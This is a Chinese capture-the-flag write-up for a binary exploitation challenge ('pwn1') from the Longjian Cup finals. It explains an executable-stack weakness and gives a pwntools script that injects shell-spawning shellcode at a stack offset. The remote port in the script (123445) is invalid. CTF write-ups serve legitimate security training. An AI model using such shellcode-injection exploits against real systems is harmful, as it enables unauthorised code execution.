第三届陇剑杯决赛
zach0ry

pwn1

附件

image-20250923193708943

image-20250923194935923

可以看到Stack: Executable/Has RWX segments允许在数据(栈或某个段)上执行代码

查看执行权限

image-20250923195741784

vmmap:0x7ffffffdd000 - 0x7ffffffff000 rwxp [stack]

任何 0x7ffffffdd000 <= addr < 0x7ffffffff000 的地址都属于“可执行栈页” → 可执行。

gdb调试看buf的范围

可以看到dest的地址和ret的地址位置一样,想到把放置shellcode的位置放过去执行

且这个位置需要再在buf之内,方便后续对buf的写入

在栈上查找发现buf的-0xf0处的地址符合要求

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import sys
from LibcSearcher import *
file_path = "./way"
remote_host = "node5.buuoj.cn"
remote_port = 123445
#libc=ELF("libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
gdb.attach(p, "b*0x401315")

def sla(a, b):
p.sendlineafter(a, b)
def sa(a,b):
p.sendafter(a,b)

p.sendlineafter("Where is the your home:" , str(-0xf0))
shellcode = 0x40 * b'a' + asm(shellcraft.sh())
print(hex(len(shellcode)))
p.sendafter("Where can you find mother:" , shellcode)
p.sendlineafter("How many moms did you find:" , b'5')

p.interactive()